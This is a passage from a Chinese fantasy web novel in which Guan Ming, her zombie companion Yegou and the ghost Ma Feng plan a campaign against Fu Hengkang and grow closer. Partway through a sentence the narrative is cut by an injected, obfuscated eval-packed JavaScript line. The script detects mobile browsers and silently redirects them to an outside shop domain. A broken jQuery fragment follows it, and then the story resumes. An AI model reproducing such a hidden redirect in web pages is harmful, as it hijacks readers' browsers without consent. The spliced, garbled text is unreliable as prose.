年纪在那儿,情绪波动太大不容易平息,关溟安慰了马峰好几个小时,人都快脱水了才止住了马峰这迟到百年的“哭丧”。小金寻来了岛上残存的一些果子,喂给关溟。关溟总算得以喘息,还是小金乖,这师父就会气人。
关溟摸了摸小金的头,站了起来。三人又开始围观“小金人”。
“徒弟,你说狗子得了祖师爷的修为能强大到什么样?”马峰问道。
关溟摇了摇头表示不知,看到小金一副心情低落的样子,关溟很是理解,揽着小金的肩膀安慰着:“你哥他是得了额外加分才变成小金人,当然也是跟他平时的勤奋努力分不开的,但千万万人中还不会有一个呢。你也别急,我不也是慢慢修炼吗。现在虽然不能以仙为终极修炼,但是让自己强大本身就不需要目标激励,护佑我们看重的人,给自己带来更有选择权的生活,肆意自由存世,不比修仙更好吗?”
“谁是小金人?”关溟身后传来野狗的疑问声。
三人转身看去,此刻的野狗好像……没什么变化。
关溟小心翼翼问道:“身体有没有什么不适?”
野狗摇头。
关溟犹犹豫豫问道:“你,是野狗吗?”
“啥?”
“你这身体里,掺杂了不少祖师爷的魂魄碎片了,这身体的主导权在谁手里呢?不会间歇性精神分裂吧?”
野狗捏了捏关溟的手指头,失笑道:“伏尸派大弟子关溟座下尸仆,野狗,现已是尸仙之境。”
啪啪啪的掌声传来,马峰关溟一看,小金真诚送上了祝福,慢上一拍的两人也加入其中补上了掌声。
“幸好这岛无人问津我们暂时还不会被发现,不然少了一个战斗力,我们肯定轻而易举就被剿灭了。”马峰继续飘啊飘,因为他现在是阿飘,“现下有小金人还有小金,安全系数顶高了。”
篝火边,天空细细碎碎开始飘起了雪花。
“冬月了吗?”关溟看着天空问道。
马峰点头道:“你们入这幻境不少时日了。原本这蓬莱因祖师爷的魂魄残留,保有一定的生机,现在灵气尽失彻底变成了一处荒岛。”
“看来我们与神鬼道和傅恒康的一场大战也不远了。”关溟身体紧绷,不知未来如何。
“徒弟,与他们一战,其实可免,听你宗师伯的,我们去人界……”马峰劝道。
“师父,我们逃不了多久的,现下异界被傅恒康掌控,多的是他的眼睛耳朵,再说人界与异界我们心里很清楚,都是共存在一个世间,早已相融不可分割,修真人以自己高人一等之姿不肯承认与人界同存罢了。”关溟的眼睛中映着闪动的火光,“避无可避,不如一战。有仇报仇,有怨抱怨,不仅仅是傅恒康和路远,还有整个修真界,我都想清理干净。”
马峰喃喃低语,这孩子是创伤后应激了吧,想法太偏激了。
“祖师爷想要世间太平,但是傅恒康想要收服异界,势必消灭那些不同流合污的门派;路远想要重新创世,人界是他必清缴之地。我思来想去,只有一个办法,那就是让修真界彻底消亡,天路已断,修仙飞升已经不可能,一旦修行之人得知自己百年的修行永久不可飞升,那后果不可想象。所以既要公开真相,又要为这群修真人找一个长久生存之路,继续去修他们的道,干脆推倒重来。一味逃避不是我的风格。”
马峰点头:“徒弟想的周全。我闺女,长大了。”
关溟看了马峰一眼,低头揉了揉鼻子。
趁马峰回勾玉空间滋养阴气,关溟对野狗说道:“马道长以祖师爷为尊,生前没有机会报答恩情,答应了祖师爷的事情我们尽量去做,也算是替马道长报恩了。当然,我的私心是,有仇报仇,先泄愤再说。不知尸仙大人可否搭一把手呢?”
野狗点头应道:“给你双手。”双臂一揽将关溟收入怀中。
关溟将有些发冷的鼻子埋入野狗的怀中,这人跟祖师爷真真的不是一个人,祖师爷说什么来着,炼尸登顶之境与活人无异,大概是这个意思吧,那就是说——
关溟踮起脚尖,趴在野狗的肩头狠狠咬了一口,还用牙齿磨了磨,“哼哼,什么事情只有点破了你才说,什么时候你改一改这习惯,我们也算是命运共同体了,我可不愿意什么事情都最后知道。”
“哪些事情?”野狗装傻。
“譬如说祖师爷魂魄入体的事情,再如某人想趁我入睡休息的时候独自去寻术门的事情,还比如说,你早就有五感了,为什么一直没告诉我!”
野狗感受着微怒的关溟边说话边喷在脖颈处的温热气息,有些不舒服地后撤一步。
关溟一看他后撤,霸气地揪住他的领子,双目瞪得圆滚滚的。
野狗与她保持距离,但是又怕她跌倒不敢离得太远,“对于丧尸来说,恢复五感不一定是好事。”
关溟知道他说的是身体有了痛感,就有了弱点,“有这么个说法,说的是没有弱点的人反而更脆弱,因为一旦遭受重击便会立刻被击垮难再起身,但是有弱点的人反而战力更强。”
不管这安慰的话语拙不拙劣,反正野狗很是受用。
关溟与野狗聊了几句闲话,便探讨起了正经事。
“逃亡路上不适合谈恋爱,我们还是先搞事业,再搞爱情吧。”关溟说着轻松的话语,“你说九天之上的仙族会插手人间的事吗?”
野狗摇头道:“不会,他们只关心那些修为至高,有重建天路之能的人,最多以天雷打压,不会有其他方法干涉人间。”
“那就好,反正接天雷我们已经习惯了。”习惯成自然,以前光是听闻就让人胆战心惊的天雷,因有人在身侧陪伴,竟然成为了他们调侃的谈资,什么事情遭遇得多了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572699|142973||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,就习惯成自然了。
“你打算如何?”
关溟接了一片飘落的雪花,蹭到野狗怀里,申明自己只是有些冷了,绝没有岔开话题的意思,“既然傅恒康以谎言偏世那么多年,我们就拆穿他的谎言。”
“人微言轻。”
“我自然知道,之前已经受到教训了,这次绝不会犯同样的错误。既然傅恒康想做祖师爷,那我们也做祖师爷!就看谁的追随者更多了!”
“权谋吗?”
“权谋没人比得上傅恒康,我们不比权谋,比人心!”
论权谋,傅恒康从拜祖师爷为师开始,就开始谋划自己的权力之路,祸心包藏多年,这次借神鬼道之手,收揽了五派八门许多迷糊之辈,但以利益链维持的关系能有多坚固呢?
“在祖师爷制造的幻境里,我们曾提议祖师爷携手更多有才能的人一同行动,这才有了后续祖师爷创立仙灵派的事情,细细算起,我也算得上是修真界的祖师奶吧!”关溟说完觉得特别有说服力,这逻辑无懈可击。
野狗不大喜欢“祖师奶”这个名头,多是因为祖师奶是跟祖师爷并肩。但是看关溟认真的模样,他也不想说反对的话,扫她的兴。不管她是谁,护好便是。
“对,是这样。”关溟越说越开怀,仿佛以后要面对的难题和生死劫都不值一提,很容易破解。
野狗就这样静静听着关溟的计划和畅想,听她时而兴致勃勃,时而低声琢磨,在他怀中摇摇摆摆。他做好他的人形座椅,驱散天空飘下的白雪,为她做这一点点小事都分外开心。这个女孩是他的了,他也是她的了。野狗第一次觉得自己不是灵山的那个叛逆者,不是千年前与族人一同修筑天宫的“仙人”,他是她的道侣,他只是一个被关溟捡来好好养起来的丧尸。
*
“道侣?谁答应的?我答应了吗?”何曼抱着手臂看着野狗。
关溟抱着何曼的腰撒起了娇,“我找道侣肯定是要你答应的,事情太多,我还没来得及正式办仪式。我不想让你操心太多。”
“哼,不让我操心,你的事情那件事我没给你操心!”
关溟小心翼翼陪着不是。
野狗在一边有些看傻了。
马峰飘到野狗的头顶,开解这傻子道:“狗子,闺蜜比天大,千万别当她是关溟的姐姐,要当丈母娘一样讨好。你明白?”
野狗点了点头,漫漫征程,这才第一步。
在蓬莱计划好一切后,关溟就偷偷联系了何曼,如今,八卦门和降鬼门脱离了联盟,遭遇了傅恒康的多次打压,其他闲散修真人都已经开始不满了,毕竟宗言信和何曼的声誉还是颇高的。
何曼也正式夺了钱渊的权,给他造了个金屋让他养老去了。关溟一行隐秘地藏于八卦门,并以此为据点,广泛联络反对傅恒康的人。其一就是唐小柯的捕妖派。